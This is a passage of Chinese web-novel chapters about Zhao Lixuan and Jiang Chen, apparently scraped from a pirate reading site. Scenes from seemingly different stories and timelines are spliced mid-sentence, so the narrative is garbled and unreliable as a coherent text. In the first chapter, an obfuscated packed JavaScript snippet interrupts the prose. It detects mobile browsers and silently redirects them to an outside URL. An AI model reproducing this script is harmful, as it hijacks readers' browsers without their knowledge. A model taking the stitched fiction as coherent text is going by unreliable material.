若这般倾尽所有都算不得挚交,请问什么才配叫"挚交"? "呵......" 短暂的死寂过后,就连不少日日高呼"仙君独美"的弟子都不得不心悦诚服,当场倒戈。 “该说不说……姜仙尊待我们师尊,确实好像……有几分真心。” “都说下界妖仙天性薄凉,看来也不能一棒子打死。” "若非关心则乱,以其的修为怎会这般失了方寸?啧,原本还觉得他那副冷冰冰的孤傲模样配不上我们黎玄仙君,但看在他倒也肯付出的份上……姑且留待观察,也未尝不可。" “而且你们别忘了,他那般自伤根本凝血为丹后,竟还能独自与万相魔瞳周旋那么久,实力当真深不可测!咱们浮熙宫若要招赘……咳咳,那应该也是算不得亏。” “……” 此事一传十十传百,等到郁如沐从楚浮生口中听说此事,再传给赵离玄知道时。阖宫上下早就亲眼“观摩”过这一段不知多少遍了。 当事人永远最后一个知道! 也是直到此刻,赵离玄才后知后觉。难怪这次脱离幻境后,他始终都灵台清明、神清气爽,像是受了大补一样。 可明明从前对付幻术妖兽,他哪怕脱出幻境,也总要昏沉数日方能恢复的。 原来竟是姜沉为他凝了妖血。 ……可是,为什么? 待亲眼看了浩瀚天机镜记下的片段后,赵离玄更是不知该作何感想。 他自己对于整场月狩的记忆,始终就只有见到沈师兄那亦真似幻的一幕一幕。 天机镜却完整记录了在他深陷幻境、无知无觉时,姜沉小心翼翼地将他轻柔安置在护身法阵里的动作。 甚至,更有那么一瞬,他在法阵中短暂醒来。 十分费力地掀开沉重的眼皮,对姜沉扯出一抹气无力的恍惚微笑:“小姜……真是你啊……我还以为……在做梦呢……” 尘封二十年,他半梦半醒,竟又叫他小姜。 画面里,姜沉的手臂几不可查地一滞,看不出喜悲。 唯有冷硬的声音似乎第一次稍稍放缓,他移开目光,略有些笨拙地回应: “嗯,是我。” 随即,他更褪下了身上那件织金暗纹的外袍,仔细叠好,垫在赵离玄颈下。 混沌天光透过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16601847|187285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魔林,斑驳在他低垂的侧脸投下浅影,就连那一向紧抿的唇线都似乎柔和了些,眸中也像有了些若有似乎的冰雪初融。 “有我在,睡吧。别怕。” 随即他起身,独自一人迎向了那诡谲的万相魔瞳。背影挺拔,玄衣在腥风中翻飞。 …… 赵离玄看完了这段片段。 赵离玄恍惚。 赵离玄不解。 赵离玄想不通。 他真是把所有理由都在脑子里反复琢磨过了,始终就没有一个能顺利说通的。 当年,确实是姜沉执意要走,也是姜沉亲口、当面,一字一句地说的“从未”。 他一清二楚、绝没记错。 单纯的追求被当作强娶豪夺,日常的嘘寒问暖被理解成别有用心,处处为他和妹妹安危着想的举动,更是被当成了赤|裸裸的威胁和逼迫。 他认了。 自作多情自有苦果,他也没力气再争辩反驳。 可如今这些又算什么? 赵离玄是真的彻底看不明白姜沉了。 你说这是时隔多年,姜仙君终于肯念及一点自己当年的好了吧?他又平日里不是薄冷淡就是语带讥讽,甚至还面不改色地颠倒黑白。 可你说他还在记恨不甘吧,他又能做出在危险魔境里不惜损耗根本也要给他凝丹这种事,且事后只字不提。 所有的自相矛盾,都让赵离玄拼凑不出一个完整的意图。 更完全预判不了如果他再贸然去旧事重提,姜沉会是什么反应。他会平静地尝试跟他坦诚沟通吗,还是会发疯冷漠、或直接跟他兵戎相见? 根本拿不准。 就这么怀着满腹心事,赵离玄回到了训练场。 初次月狩后短暂的休整期转瞬即逝,演武场上再次仙光缭绕,诸位仙君都在为第二次月狩做准备。 姜沉不愧为出了名的妖仙中战力卓绝,不过几日而已,那与万相魔瞳周旋时留下的伤痕已然尽数消退,玄金衣袍下身姿挺拔、眉眼如刀,又是那副无懈可击、令人不敢逼视的凌厉模样。 但即使伤好得再快…… 也不能仗着身体好,就把烈酒当水喝吧? 数次高强度的演练间隙,赵离玄每次都能瞥见他独自走到场边角落,拿起随身携带的玉壶仰头便灌。 “……”不关他事,不关他事,不关他事。 不过想想重逢以来,还真没少见他饮酒。 必是仗着身体早好全了,才如此任性。 也是,他好歹也名利双收这么多年了,当年沉疴旧疾那里还能是问题? 必不会再像当年一般,仅是偷喝了几口冰桂花酿,就旧疾发作疼得要死要活,连医者紧急施针缓解后,还得他抱着小心翼翼揉上半天才能勉强缓过气。 但…… 姜沉毕竟前不久才为他凝血。 就这么不管不顾,像个落魄酒鬼般地一杯一杯灌,难道不知道心神耗损后同样应忌饮酒? 好歹马上就要第二次月狩了,到时还不知深入险境会遇上些什么,姜仙君是不是多少还是得该在战前注意点身体? 如是想着,赵离玄犹豫了片刻,还是决定上前: “姜仙尊,演练刚毕,仙元流转未平,此时饮酒……恐于灵脉无益。不若我叫人送些清心茶来?” 他觉得他劝得算是十分委婉克制了,但姜沉握着玉壶的手还是明显一滞。 那双黑沉深邃的眸子再度幽幽的,看不清是什么情绪。 赵离玄:“……” 可恶啊,他又何必多管闲事! 20-30 第 21 章 第 21 章 两个月后,修真界横空爆出一桩大喜事。 金蟾宗竟寻回了幼年被拐走的独生子! 金蟾宗以皇商起家,富可敌国,其产业遍布四海,灵脉、矿藏、拍卖行、丹药坊无所不涉。 虽宗门弟子修为未必是修真界顶尖,但因为宗门手握无数资源,人脉通天,财力深不可测,底蕴之深厚,令各大仙门都要礼让三分,堪称修真界势力最庞大的宗门之一。 一时间,镌刻着金蟾衔宝图腾的烫金请柬如雪片般飞往各大宗门。 棠棣仙门收到请柬时,全场哗然。 皆因那请柬上明明白白写着: 金蟾宗敬启 天佑吾宗,珠还合浦。 失散多年之独子离玄,终得归家。只怕,不是他没挑。 赵离玄毕竟自小遍观史书,深知就算再昏庸、再不像样的皇帝身边,也总该有几个不怕死的愚忠愚孝之臣高呼“赵离玄万岁”“江山千秋”才对。 他也不该没有。 哪怕再是个昏君狗皇帝,贪图姜沉美色大权旁送,让所有臣子失望心寒,也不可能真就被幽禁后就狗都不理。 总该有几个不怕死的忠心之人,会想要站在帝王身边,尽心辅佐、力挽狂澜。 一定有。 只怕是宫门把守森严,他的人无法轻易接近他。但假以时日,绝不可能全无转机。 赵离玄因为前几天睡得很饱,倒是并不困。 无奈龙爪被昏睡中的姜沉紧紧十指扣着,实在抽不出来。 姜沉睡得并不踏实。对面,姜沉亦在烛火下垂眸埋头认真批折子。 俊美不凡,令人赏心悦目。 赵离玄一边欣赏那神仙美色,一边心里晕乎乎地想着,指不定姜沉到时是肯让我见胡爱卿的。 实在不行,我磨磨他。 他纵着我,一定肯的。 狗昏君果然疯球。 才被姜沉拿假起居注骗完,转头竟还是无条件相信他!!! 罢了罢了。 赵离玄也懒得再挣扎了。 干脆就当他失忆前,跟摄政王过的就是《起居注》里那十来年花前月下的神仙日子算了! 而且。 而且仔细想想,真的,他与姜沉花好月圆又有什么不合理?! 他,英俊潇洒好皇帝,勤政爱民、书法漂亮。 而姜沉,会批奏折会打仗,天纵英才、世间绝色。 这分明就是郎才帝貌天生一对,携手江山又哪里有问题了? “阿玄。” “阿玄!” “发呆时不准咬笔。” 赵离玄一怔,回过神。 “你以前就喜欢乱咬。” “竹笔杆、后来的象牙笔杆、金笔杆,哪样都能给你咬出压印来,想当初咱们一起念书的时候” 他忽然的,不说了。 烛火下,赵离玄心里一动,马上目光明亮拉住姜沉衣角。 “岚岚,说啊。当初咱们在一起念书时,怎么了?” 一直在轻微梦呓,俊脸上眉心紧皱,做了噩梦一般看起来焦躁又隐忍。 “阿玄” 赵离玄:“在,我在。别捏了,疼。” “阿玄。” “在的,在。我真的!求求别捏了,真的疼!” 枕畔之人如此折腾,赵离玄也是无奈极了。 不过这种睡不安稳情况,他年少时也曾有过几次 遇着大事连着几日不能入睡,之后便困过了头,真睡下又周身不舒服,既醒不来又无法彻底睡过去,昏沉浮荡生死不能,是挺折磨人。 但能怎么办。又过两日。 赵离玄彻底好了,没事人一样。 说是好了,其实月圆之夜爬遍全身的毒纹尚未完全退去。整个人全脸全身青一块紫一块,不得不带上了全脸的面具,又遮了一层纱才得以出门。 “多遮一些,别吓着人才好。” 他语调轻松,楚丹樨却是喉咙发苦。想起很久以前,有人蜷缩在黑暗的屋内,埋头膝间瑟缩躲着,“别看我……” 如今却变得不遮不掩、云淡风轻。 赵离玄其实倒也不是不难过。 本来就够丑了,这下更没有人会喜欢。可话虽如此,今日他也实在是没空难过—— 因为姜沉给他搞了个大事情,活生生送来“一份大礼”。 真,活生生。 樱祖,活的。皇帝拉姜沉睡觉。 四更一刻,夜深人静。 皇帝偌大龙床,姜沉只躺在了靠边的一侧。 赵离玄 记得第一次醒来时见到姜沉时,姜沉也是这般睡在龙床很偏一侧的床角边上。 如墨的黑发都垂到了床下地上。 你看这个人,可真奇怪。 明明平日里那么喜欢碰他,却又从不在床上占过他任何便宜。 隆冬的窗外依旧黑沉似墨,不见一丝光亮。 赵离玄四仰八叉躺在龙床上睡不着这么冷的天,寝宫内虽烧得暖洋洋,但被角边边毕竟还是凉。 姜沉手脚头发丝又冰。 大冬天的,可别把他的美人给冻坏了 想到此处,赵离玄修长手指变成小人腿,从被子里面循着向姜沉那边潜伏过去。 指尖走啊走,走啊走。 悄咪咪地戳住了姜沉金线纹了蛟蟒的衣袖边边。 黑夜中,姜沉蓦然起身。 赵离玄一把抓住他手腕:“爱卿去哪?” 黑夜里,连呼吸声都听不见。 半晌,姜沉道:“臣,回去自己寝宫。” 赵离玄:“呃,不到一个时辰就要上朝了,哪儿还有空再折腾?爱卿在我这里小憩就是了,莫不是爱卿嫌弃我吵?” 赵离玄给气笑了。这个姜沉真的,是他此生见过的最为阴险狡诈、人憎狗嫌之人! 也就邵霄凌傻乎乎,还拿了斧子想“手刃仇人”。 被赵离玄翻着白眼给拽了回来。 “你也不想想,姜沉此时送他过来,安的什么心?” 当年天昌之战,洛州侯就是被仪州、西凉、随州三方合兵所害,但在洛州人的心里,他们不共戴天仇人是谁? 就一个,仪州侯樱祖。 死谁手上,谁就是仇人。 “一旦樱祖死咱们手上,你觉得在仪州余党、他家沾亲带故的门阀士族和其他居心叵测之人心中,谁是仇人?” 他们到时,会直接忽略是姜沉发兵占了整个仪州,只将矛头对准软柿子洛州——你杀的就找你,好一招祸水东引。 “为今之计,赶紧原封不动送回去!” 什么国恨家仇,暂放一边去吧。 之前翡翠谷让这人跑了,如今再杀就是不智。甚至原封不动送回去也是很烂的计策,毕竟这酷暑颠簸,樱祖年纪也大了,万一撑不住死路上了算谁的? 但,宁可他死路上。 也比烫手山芋死在洛州好。什么,囚禁起来?那不仅憋屈,得好吃好喝养着仇人,还得防着他被别人下毒暗害,不然还是洛州背锅! 赵离玄一个头两个大。 能想出这等损招,姜沉何止人怨狗嫌弃?只怕剁碎了喂鸟鸟都不吃。 “嘎——” 刚说鸟,海东青就扑棱扑棱飞来了。 姜沉随“大礼”附的信件十分官方,什么“知洛州血海深仇特送此贼任凭处置……”云云。 鸟腿上的信倒是真诚多了。 一张墨画,歪歪扭扭阴阳怪气的笑脸。 赵离玄认得这个笑脸。 以前每次看到这个笑脸,他就和姜沉离见面不远了。 听李钩铃说,那日他们刚攻占秀城半个时辰,西凉军师远廖就来了。见城被偷,在城下气急败坏各种叫骂。但李钩铃根本不理他。 当然,以姜沉的气量,倒也不至于丢了一座城就要亲自来收拾他。 实在是他们之间的冤孽过节太多。 都心照不宣,彼此已是对方人生路上绕不过去的重大的绊脚石。 像这种重大隐患,就该早早掐灭。否则放纵对方做强做大,必有朝一日不可收拾,与其到时拼死一战,不如早点斩草除根。 如何能叫姜沉安心 赵离玄干脆心一横,主动闭眼伸手。在冷冷的幽香里,任由姜沉结结实实将他满怀抱住。 姜沉梦中有如溺水之人抱住浮木。 抱紧他以后,终于老实多了。 赵离玄再接再厉,伸手掌心覆在姜沉双目上道了声“你好好睡”。姜沉嗯了一声,终于彻底放松下来睡熟了。 冬日阳光洒在龙床上,暖洋洋的。 赵离玄修长的手指缓缓移下来,悬停在了姜沉裸露的脖子上。 眼中微微一道光。 感念棠棣仙门多年栽培护佑之恩,特备薄宴,恭请仙驾光离金蟾宗云顶天宫。夏季的天气变脸极快,待众人星月赶到城中,雨云已然散去,反而显得月色尤为明媚。 众人选了城中最好的玄月客栈下榻。小二笑吟吟迎出来:“六位客官来得巧~咱店里今日,上房仅剩三间。” 当然仅剩三间。众人料定两人首晤,定会十分难看。 毕竟按照赵离玄那狭隘刻薄、不肯吃亏的性子,不当场阴阳怪气、句句带刺地给新人一个下马威,那才是太阳打西边出来。 而以姜师弟那般冰雕似的性情,必也是半句软话都不会接。 到时候的场面 嚯,好些唯恐天下不乱的弟子甚至都已经私下开了盘口,赌他俩究竟会在第几句话时动起手来。 然而,真到了那日,情形却让所有人大跌眼镜。 那日的赵离玄,往日里总有些散落的额发被一丝不苟地尽数梳拢向后,露出光洁的额和犀利的眉眼。一袭云纹银线的月白锦袍,更衬得他身姿挺拔。 一身逼人的贵气,活脱脱一位俊雅矜贵的公子。半分没有曾是小乞丐的模样。 但若只是皮相装点,也就罢了。 最让人瞠目结舌的是他的态度。 他竟将平日里那副狗眼看人低的倨傲,全然收敛得干干净净。反而是主动上前,对着黑瞳寒凉的小师弟姜沉笑得那叫一个得体又灿烂,和煦而有礼。 语气更是关切又亲昵:“这位便是新来的姜沉小师弟啊?” “果然灵秀俊雅、风采非凡。我是你的赵师兄。咱们同为火灵根,最宜一同探讨功法。” “以后若有任何困惑所需,可随时来寻我。” “对了,这是送给师弟的见面礼” 一番言行,围观的弟子们个个嘴角抽搐。 实是没想到时隔多年,这赵离玄竟保留了出入宗门时那能屈能伸、谄媚讨好的本事。 装,真能装! 竟还笑得一副温和无害、闪闪发光的纯良模样。 不知道的都要以为,他才是宗门里最温厚善良的师兄了! 来一对就只剩一间,来两对就只剩两间,这一行加何采薇六个人姜慎行挑了挑眉,这就是剧情君的尿性管你再怎么财大气粗,也绝不会给你们足够的客房! 客房紧缺是为谁服务? 当然是为男主同心上人共处一室、各种粉红,各种心动,各种暧昧而特别优待的呀! 眼看着这分分钟的野生的漂亮女配都出现了,当然要适时推动一下主角组的感情的发展? 颤巍巍从袖中拿出一包鸡肉味狗粮,吃一口,姜慎行笑中带泪。 第 22 章 第 22 章 赵离玄毕竟也曾是棠棣仙门名动一方的徒儿。 如今犯错被逐出,于宗门颜面而言也并非光彩之事。因此棠棣仙门对外并未昭告,反而处理得十分含糊其辞,只道是“弟子赵某因故自请离山”。 “赵离玄,今日逐你出山,已是宗门最后仁慈。望你好自为之,从此安分守己。若日后敢依仗修为在外为非作歹,无论天涯海角,棠棣仙门必倾全派之力,清理门户,绝不姑息!” 赵离玄走的那日,雨下得极大。 天地一片白茫,他亦不再是一贯那金碧辉煌的打扮,只着一身素色灰衣,拿了个小包袱。 倒也有人来送他。 他那人微言轻、保不住他的师尊落叶真人,以及这些年一直跟着他混的小弟们。小弟们尽数哭得嗷嗷的。 “师兄…我们都知道你是被冤枉的!你这些年太不容易了,呜呜。” “可恶姜沉,这根本就是陷害,必不饶他!” “感姜师兄这些年的教导,师兄放心,我等一定会混出个人样,到时恭迎师兄光耀回归!” 赵离玄垂眸,声音难得温和:“都快回去吧,别送了。雨大。” 继而又转向落叶真人,郑重一礼:“师父也…请多保重。” “诸位天地广阔,后会有期!” 雨水飞过伞檐,不断打在脸上。一番折腾,锦裕帝毕竟有伤在身,累了。 干脆回到床上继续懒人躺。狗皇帝颓废了一炷香的时间。 颓废不是赵离玄的性格,很快赤着足又跑回了宫门口。 啪啪啪地拍。 “开门,你们给我开门!” 大雪天冷,外头守军正聚在外头烤火,自然全听见了皇帝扯着嗓子在里面嚎。 姜沉的“乌衣卫”个个训练有素,自是皇帝一切吵闹置若罔闻。 可谁成想,今日皇帝不同以往。 “爱卿我真的错了!!!”赵离玄大咧咧随便给姜沉抱。 当然给抱了,为什么不给抱? 谁不给绝色美人抱谁是傻蛋好吧。 而美人凶悍赵离玄想起小时候的一幕,那年他七八岁,宫里来了一队厉害的胡人杂耍,耍大白虎给皇帝皇子们看。 那大老虎毛茸茸,可精神可神气了。 却意外地异常温顺听话。 胡人大叔把手放进虎口里,老虎只舔不咬。把脚放进去,老虎继续乖巧。 待到那人将头也放进去之时,老虎吼了一声,赵离玄在旁不免惊心动魄:“大叔小心!” 胡人大叔哈哈笑,头从虎口拿出来,依旧是安然无恙。 临走,大叔用蹩脚的大夏语说,皇子请放心,这脑斧是窝们从小养大的,不会咬。 他说这话时老虎就一直在撒娇求抱抱,真的像一只乖巧大猫。 赵离玄不免心动也想伸手撸一把毛茸茸,可惜被父皇给呵止了。 众所周知,小孩子一心想做什么事最后没做成,回去一定是心心念念。 二皇子赵离玄那晚躺在寝宫床上,看着房梁就一直一直想,听闻大猫明明都很凶的,会吃人,今儿这只怎么就那么乖呢。 这到底是为什么呢? 是为什么呢? 回忆着回忆着,赵离玄伸手到姜沉背上,撸大猫一样撸了两下。 姜沉咬牙:“赵!玄!” 勒住皇帝腰的手劲一下又大了许多。 “爱卿!青卿!我真的错了” 起初倒还好,越嚎却越不对劲。 最后嚎得守卫们一个个满脸通红,都不敢看自己同僚。 这,皇帝适才,都说了啥? 是说了,只要姜沉能消气,皇帝便要、要娶姜沉做做一国之母?从此独宠姜沉一个?要八抬大轿十里红妆?母仪天下? 听错了听错了,肯定是听错了。 赵离玄今日是彻底不要脸了。 还记得上次“一日夫妻百日恩”,气得姜沉说阿玄你有本事嚎有种上金銮殿嚎。 一语成谶。 今日若不是风雪太大,赵离玄真自信他能嚎得整个紫禁城都能听见。 还要什么脸? 反正他也明明白白二十八岁半个老婆没娶,就不相信他跟姜沉那点破事,文武百官心瞎眼瘸真不知道! 那既然人尽皆知 狗皇帝做错了事,死不要脸雪夜花式哀嚎哄准皇后求原谅又有什么不对? 赵离玄一直嚎到声嘶力竭。 人躺着,脑子里则飞速过了一番各种各样的可能性。 真的。若他以前真是明君,根本从一开始就不可能让权臣独揽大权。 不信翻遍史书,哪个明君手底下曾养出过姜沉这种权倾朝野的摄政王? 早被杯酒释兵权又或者斩草除根了。 可他若不是明君而真是昏君狗皇帝,侍从侍女又没道理会是刚刚那种抖抖搜搜的真实反应。 哪种假设都不合理。夜幕沉沉,一颗巨大、略带血色的月亮赫然挂在天上。 每个月总有几天,那月猩红刺目。 卫留夷佝偻着身子忍住胸口闷痛,无数记忆片段涌来。 阿玄被绑上玄冰碧游床上那几天,也是月圆。 而阿玄在这样的夜晚,本就会无比僵冷。 他会有多痛?却始终咬着牙一声未出。 是因为早就习惯了……就算喊疼也没有用,是么? 整整一年。 赵离玄身上、手上的绷带,平日里只缠到手腕,可时不时的,又会一直缠到修长的指尖。 他看见,却从来没有问。 月圆之夜,赵离玄要放血给叶锦棠治病时,总会待在房间里闭门不出,只让侍者把一碗血水送出。 他还以为他是在跟自己赌气。 隔日,会不安愧疚地送去许多礼物。 整整一年,他不知道。 不知道每个月圆之夜,毒纹滋生,阿玄一个人孤零零浑身发抖,蜷缩成一团、辗转反侧,痛苦难当。 那一整年里与穆玄有关的记忆,都是炎夏,是火光。是很多温暖的东西、烫人的明亮。 他们作诗、弹琴、饮酒。 穆玄喝醉时,眼睛里带着明亮的雾气,冲他笑。恒城夜色下大火将半边天幕映照得仿佛黄昏灿烂的明霞,他坐在城墙上。 他说留夷你看,我把他们赶走了。 我厉害吗? 那双带笑的眼睛里,一直藏着疼痛与卑微。他其实没有想象的那么会掩饰,所以卫留夷一直看得到——这个人,没有人对他好过。所以只要稍微对他好一点点,他就会那么开心、那么欢喜。 心脏突突跳,窒息的撕裂感。 他不该那么对他。 明明知道……更不该那么对他的。本就没有人心疼他,没有人爱他,他还对他不好…… 卫留夷忍着痛,伸出手去,想要抓到当年的一丝幻象,想将当时的那个人拽过来、揉进怀里。可触手可及的,却只有天空淅淅沥沥落下的小雨。 赵离玄终于睡了。 楚丹樨替他盖好被子,熄了房中烛火,走出来。 他看着卫留夷,冰冷俊美的脸孔隐忍着憎恨:“即便我此刻杀了你,再杀了那个人,他也无法复原。往后一辈子,都要忍受这种痛苦!” 雨声淅淅沥沥。 一字一句,刺在卫留夷心上。 他想要说什么,喉咙深处,只发出一声意义不明的声音。 想要起身,却只摇摇晃晃。 手臂上还残留适才怀中身体的冰冷,闭上眼睛,仍能看到那双隐忍、一丝微红、涣散却平静的双眼。 卫留夷突然疯了。 他跌跌撞撞,疯了一样想要去他房间。想抱抱他,陪着他,一直在他身边。 楚丹樨暴怒,剑柄狠狠一击,将他击退好在雨地之中。 “你若真为他好,就别再靠近他!” “我……”卫留夷喉咙里发出铁锈一般的声音,他呼吸粗重,狠狠瞪着楚丹樨。这个侍卫什么都不知道,他又不知道他和阿玄的一切!他是做错了事,但也轮不到这个人—— “放过他,让他一个人好好的。他会过得好很多,就、就像……” 楚丹樨凄然一笑。就像我一样,放了他。 卫留夷如遭雷击。 在那一瞬间,他无比确定,这个侍卫以前和他的阿玄有过什么。在他眼里,有和他一样错了的,难以弥补的,悔不当初的…… 那一刻,他想生生掐死眼前人。 阿玄是他的。是他一个人的独一无二! 他们一起的夏日迷谷,萤火夜色,无人可及。这人不过是个低贱的侍卫,凭什么认为他能拥有跟他一样的东西?他怎么敢? 楚丹樨却只轻笑了一声,眼里满怀轻蔑怜悯。 细雨不停,湿透一身。 所以,还有什么可能? 难道说,他失忆前其实是个暴君? 生性残暴、严刑峻法,阴晴不定喜怒无度,动不动就把下人搞去腰斩炮烙的那种。 但若真如此,不免又衍生出一个新的问题。 姜沉他,是瞎吗? 一个风华绝代俊美绝伦又大权在握的摄政权臣,看上谁不好,就非得看上一个长相一般性格残暴的狗皇帝,还一往情深? 这又上哪合理去! 除非他的身上,还有别的姜沉想要的重要东西。 但这几近阴谋论的想法依旧不合理 他都沦落成这样了,身上还能有什么,需要姜沉演出一往情深来骗取他的信任? 该拿的权势姜沉已经拿走,该有的地位姜沉也已得到。 一个因战功而异姓封王的摄政权臣,一人之下万人之上。囚禁天子、龙床挂佩剑、肆意抱摸搂、随时掐死。 还有什么是姜沉得不到的? 总不可能和小话本里写的一样,姜沉只是单纯馋皇帝那仅仅说得过去的样貌、以及伤痕遍布的身体??? 可快算了吧。 胡思乱想着,下朝的钟声响了。 姜沉回来了。 他的左眼还缠着厚厚的纱布,好在眼睛终是保住了,只是之后那处多半会落下一道伤痕。 倒也无妨。六个人,三间房。如果他是这文儿的男主,房间分配肯定应该是这样的 赵深和姜沉住。宫渡和良宵住。他呢~笑呵呵和漂亮妹子住。 然后顺便被硬尬进来的无耻之徒喂个□□彻底兽化什么的,事后痛哭流涕懊悔万分“我会对你负责的”喜滋滋抱得美人归。 然而,这却天杀的是一个弯成镰刀的耽美世界。很快,新来小师弟姜沉的居所,就日日围满了前来示好的同门。 灵果、法宝、各色礼物堆程小山。 奈何小师弟实在阴郁寡言。 众人便是想要拉近关系,也往往很快便讪讪没了话。 又不好去揭人家全家灭门的伤疤,场面一度十分落针可闻。 以至于,不知是谁先起的头,话题很快就被引向了共同之敌赵离玄。 “姜师弟,你初来乍到有所不知那位赵离玄师兄,你可务必要小心提防!” “那人素来最为狭隘善妒、骄横记仇。你与他同为火灵根,偏偏你的天赋唉,又越过他太多!以他阴暗歹毒,只怕会使出腌臜手段来害你。” “这绝非我等危言耸听!” “我听当值的人说,你测出绝品火灵根那日,他可是气急败坏,连长老赏的碧海琉璃盏都摔了个粉碎。” “之后连着好几日,院中更是鸡飞狗叫,伺候的个个噤若寒蝉!” “而且你瞧,身为师兄,他至今都不曾来看望过你!” “可想而知正咬牙切齿成什么样子。不过小师弟你放心,我们一定好好保护你” 众人你一言我一语,添油加醋,直将赵离玄形容得无恶不作、洪水猛兽一般。 一番“谆谆教诲”之后,才总算心满意足离去,只暗暗盼着下月宗门大会 届时,任凭赵离玄如何不愿,这两人也注定要碰面。 所以,他不仅不可能同妹子共住一间,还要被迫跟宫渡良宵挤一起,围观他俩共度良宵。 大母神!你真的对异性恋太不友好了,我要举报! 第 23 章 第 23 章 自那日后,《棠棣轶闻小报》整整停更了一月有余。 其实并非没有素材。 紫晶秘境再现、魔气肆虐、宗门祸乱桩桩件件都是大事。只是周玄乐迟迟不知该如何下笔。 山下还有不少读者,爱看赵师兄上蹿下跳。 他是实在不忍告诉他们,那个嚣张肆意的赵师兄,已经被判逐出师门。 以后小报里,只怕再难见其身影。 其实这判决,已算格外开恩。 门中弟子私底下窃语,多有愤愤不平:“如此欺师灭祖、恶行累累、无法无天,最后就只是驱逐了事?” “甚至都不曾废去修为,这岂非纵虎归山?养痈成患?此人日后多半走上邪路,到时必成我仙门心腹大患!” “是啊,众长老们到底怎么想的?灵丹被偷、被打,就这么轻易原谅他?”玄月客栈装修古雅,在入口处的大堂墙上,挂着一把琴、一方棋盘、一幅字、一张画。 赵深至少算是懂画那副彩墨笔触滋华、不假雕饰,几根葫芦和小雀鸟儿相映成趣,画师功底可见一斑。 如此推测,琴也该是好琴了?实在太痛了,这群人还闹内讧,吵得他想骂又好笑。又笑不出来,因而在旁人看来,他此刻满是痛苦的双眼里,满是绝望般的平静。 楚丹樨平日里一向克制,此时却心疼得哽咽,握着他的手掌亲吻掌心,一行泪顺着脸颊落下:“阿玄,阿玄……” 很久以前,月华城中永夜,一轮月下。 那皎洁清辉中,有人一直望着他,而他那时不曾在意。 若是时光能重来……早朝以后。 赵离玄特意沐浴焚香,认真打扮。要求读史书,赵离玄觉得没毛病。 他什么也不记得,想不起来可不就得重新看嘛! 失忆之人如夜行烛灭,两眼一抹黑,难免心慌气短。 这若换成旁人遇上这么个复杂局面又哪能像他一般顽强活泼上蹿下跳?早抖抖搜搜哭晕在龙床上了。 当然,赵离玄也知道姜沉自不会让他轻易得逞。 就姜沉适才那表情此人绝非心甘情愿让想他知道全部过去!!! 也是,再怎么宠溺纵容,人家始终也是囚禁天子的摄政王。别把权臣不当权臣。 史书却不会骗人。 大夏泱泱两百多年,史官们这点铮铮傲骨还是有的。 记得前朝,便有史官拼死照实记录昏君荒谬言行而名留青史的故事。 据说昏君嫌弃如实记录害他丢面,命史官删改,但史官宁死不删。昏君暴怒把史官下狱,便换史官大儿子继续照实写,昏君又把大儿子下狱,二儿子依旧照实写。 二儿子淡定道,无妨,我家还有两个弟弟。弟弟将来还会生儿子,子子孙孙无穷匮也。 如此一来,就连昏君都良心过不去了,长叹一声,我确实荒淫无道,写吧写吧。 铮铮傲骨,便是如此。 至于所谓《起居注》被火烧失灭什么的 即便真有大火,一国之君的贴身史料也定有多人誊抄备份、分地而存,不可能全被烧掉。 一大桌好菜已备齐,暗戳戳摩拳擦掌严阵以待、翘首昂盼。 结果,等了良久,姜沉也没有来。 午后东阳暖煦,一片莹白覆在金色的琉璃瓦上很美。 赵离玄:不慌,许是公务繁忙,拖住了。 下午,皇帝的准备就更充分。 还特意让小侍女给他绑了个高马尾,俊朗程度有增无减。 更私底下蓄谋了一堆讨好姜沉、哄吹姜沉、夸夸姜沉的溢美之词。 等姜沉来了,我今日,就是姜沉的夸夸狗! 皇家颜面什么的,不存在。 趁着姜沉没到,赵离玄又去翻了屋里一大堆史书,想看看别的圣君明帝都是如何笼络爱卿们、花式夸夸爱卿们的。 不翻不要紧,一翻,赵离玄彻底服气。 古人云,以史为鉴可以知兴替,古人诚不欺我,以前的皇帝是真的会! 瞧瞧,你瞧瞧 “真正累了爱卿你了,我都心疼得落眼泪。” “我与卿君臣之情,乃无量劫之善缘同会,岂泛泛之可比拟?” “上次见爱卿,爱卿瘦了,我心里难过。” “我此生若负了爱卿,从开辟以来未有如我之负心之人也。” “喜也凭你,笑也任你,气也随你,愧也由你,感也在你,恼也从你,凭谁动你一毫毛,便是我的无能!” “两件事。” 赵离玄冷汗涔涔,咬着牙,声音沙哑,每一个字都在颤抖,但每一个字都异常清晰。 “你们……听好。” “安城内有敌军内应。掘地三尺,找出来。” “还有,明日,最迟后日,秀城的樱祖定会……撤军。” “因为,姜沉他……” 他实在没了力气,喘息了片刻后,断续着只说重点:“总归,霄凌,你和钱奎、阿铃一起,趁秀城空虚,务必……一举拿回。” “战术不决,你听钱奎……战略不决,听阿铃。” “机不可失。” 还好。 交代完了。 赵离玄很为自己骄傲。 毕竟痛过那么多次,也练出了本事,难以忍受的时候从不去想那些以前喜欢过的人或事。 只会想他的心腹大患。 想想姜沉在做什么,在想做什么。 有时灵光一闪,还能虎口夺食。比如此刻。 满身毒纹再度增殖,赵离玄已无法再睁开眼睛,脆弱的喉结上下滑动。 “别看我……” 真的好疼。最后三个字,用完了最后一点力气。 世界归于黑暗。 有人叫他名字,遥远而不真切。指尖划过滚烫的泪水,若还能有力气,他真的想再说一句他没事,死不了。 或许这副样子,无论在谁眼里都是支离破碎。 但他毕竟从小丑到大的,内心比一般人坚强。熬过这个满月,又是平日里的模样。 黑暗中,有什么温柔的气息包裹着他。 很奇怪。 不知从何时起,每次痛到一定程度的时候,就会有这么一丝气息,淡淡幽兰香,让他不会再痛。 赵离玄一辈子撞南墙,撞死了几回还是头铁,还是仍愿意相信很多东西。 也许真的,有什么人、什么东西,在默默守护他。 或许那只是一线思念,来自早逝的母亲,未曾谋面的所爱之人,又或是有朝一日回望今时的自己。 衣襟散落。 湿透的衣服贴在身上,锁骨处漏下一条皮绳,拴着一只简陋的石头小戒指,淡淡的白光。 那石头本就是萤石,微光看着很不明显。 